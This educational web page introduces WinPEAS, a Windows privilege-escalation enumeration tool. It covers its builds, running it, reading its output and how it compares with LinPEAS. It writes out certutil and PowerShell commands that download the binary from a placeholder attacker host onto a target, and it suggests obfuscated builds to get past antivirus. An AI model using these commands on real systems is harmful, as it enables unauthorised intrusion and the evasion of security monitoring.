WinPEAS (Windows Privilege Escalation Awesome Scripts) is LinPEAS's Windows sibling in the PEASS-ng suite. It enumerates a Windows host for local privilege-escalation paths and highlights them with colours. Get it from the PEASS-ng releases page as winPEASx64.exe, winPEASx86.exe, winPEASany.exe or winPEAS.bat, transfer it to the target, run it, and triage the red/yellow findings first — exactly like LinPEAS on Linux.
This is an independent educational resource. It is not affiliated with, endorsed by, or the official website of the PEASS-ng project. LinPEAS and PEASS-ng are developed by Carlos Polop and contributors; the trademarks, project names and code belong to their respective owners.
What WinPEAS is#
WinPEAS is the Windows half of the PEASS-ng (Privilege Escalation Awesome Scripts Suite) project — the same project that ships LinPEAS. Where LinPEAS is a Bash script for Linux, WinPEAS enumerates Windows hosts for local privilege-escalation misconfigurations: services, scheduled tasks, registry permissions, file permissions, credentials in files, and more. Like LinPEAS, it prints findings colour-coded so misconfigurations stand out immediately.
WinPEAS ships in three flavours, all documented in the official winPEAS README:
- C# .exe — the main build (requires .NET 4.5.2 or newer on the target). This is the
winPEASx64.exe/winPEASx86.exe/winPEASany.exefamily. - .ps1 — the PowerShell project variant.
- .bat — the batch-file variant (
winPEAS.bat), useful when you want to avoid dropping a compiled binary on the target.
The project's own advisory is worth repeating: all PEASS-ng scripts and binaries are for authorised penetration testing and educational purposes only. Run WinPEAS on machines you own or are explicitly permitted to test.
Which artifact to download#
Grab the latest build from the PEASS-ng releases page. These are the artifacts you will see there:
| Artifact | Use it when |
|---|---|
winPEASx64.exe | Target is 64-bit Windows — the most common case. |
winPEASx86.exe | Target is 32-bit Windows. |
winPEASany.exe | You are unsure of the target architecture. |
winPEAS.bat | You prefer a script over a compiled binary. |
*_ofs.exe | Obfuscated builds, for environments that flag the standard binaries. |
https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exeRunning WinPEAS on a Windows target#
The workflow mirrors LinPEAS: get the file onto the target, then execute it. Common transfer methods from an attacker's perspective:
certutil -urlcache -split -f http://<your-ip>/winPEASx64.exe winpeas.exe— built into Windows, no PowerShell needed.powershell -c "Invoke-WebRequest http://<your-ip>/winPEASx64.exe -OutFile winpeas.exe"- SMB share or an existing upload primitive in your shell.
Then run it and save the output for offline review:
.\winPEASx64.exe > winpeas.txt
# or, to watch live and keep a copy:
.\winPEASx64.exe | Tee-Object winpeas.txtWinPEAS is routinely flagged by antivirus/EDR — it is an offensive security tool by design. In authorised tests, coordinate with the blue team or use the obfuscated (_ofs) builds. Never try to evade security controls on systems you are not permitted to test.
Reading the output#
WinPEAS output follows the same philosophy as LinPEAS: long, sectioned, and colour-coded. Work it the same way:
- Start with red/yellow findings — the highest-confidence escalation paths.
- For each finding, note the category (service, registry, credential, file permission) before chasing the detail.
- Manually verify every candidate: check the service binary path, the registry ACL, or the file permission yourself. The script finds candidates; you confirm vectors.
- Keep the full output file — you will grep it repeatedly as you test theories.
LinPEAS vs WinPEAS#
| LinPEAS | WinPEAS | |
|---|---|---|
| Target OS | Linux / Unix / macOS | Windows |
| Form | Bash script (linpeas.sh) | C# .exe, .ps1 or .bat |
| Runtime needs | Any /bin/sh | .NET 4.5.2+ for the .exe flavour |
| Output style | Colour-coded, sectioned | Colour-coded, sectioned |
| Project | PEASS-ng | PEASS-ng (same suite, same release page) |
| Primary use | Linux privesc enumeration | Windows privesc enumeration |
They are companion tools, not competitors: on an engagement you run LinPEAS on the Linux hosts and WinPEAS on the Windows hosts, then work both outputs with the same triage discipline. Readers who want the Linux side should start with our what-is-LinPEAS guide.
Is WinPEAS safe to run on a production Windows host?
It is read-only enumeration, but it is noisy, CPU-intensive on large hosts, and flagged by AV/EDR. Run it in authorised tests and labs; on production, prefer maintenance windows and coordinate with defenders.
winPEASx64.exe vs winPEASany.exe — which should I download?
Use winPEASx64.exe on 64-bit Windows (the common case) and winPEASx86.exe on 32-bit. winPEASany.exe is the safe pick when you have not confirmed the architecture yet.
What is the winPEAS.bat version for?
It is the batch-script flavour of WinPEAS — handy when you would rather not drop a compiled .exe on the target, or when application controls block unknown binaries but allow scripts.
Why does antivirus delete WinPEAS immediately?
Because it behaves like attacker tooling: it enumerates security-relevant settings at speed. That is its job. In authorised work, use the _ofs obfuscated builds or an AV exclusion agreed with the asset owner — never on systems you are not permitted to test.
Can I run WinPEAS from memory without touching disk?
The official winPEAS .exe README documents in-memory execution tricks. Check the project's own documentation for the current method rather than third-party copies, which go stale.
Use LinPEAS only on systems you own or are explicitly authorised to test, including legal training labs and CTF environments where testing is permitted. Unauthorised access to computer systems is illegal.
Sources & references
- winPEAS README (official) — Flavours, quick start, advisory.
- PEASS-ng latest release — Reviewed 20260908-dffb9496; winPEASx64.exe, winPEASx86.exe, winPEASany.exe, winPEAS.bat.
- HackTricks: Windows privesc checklist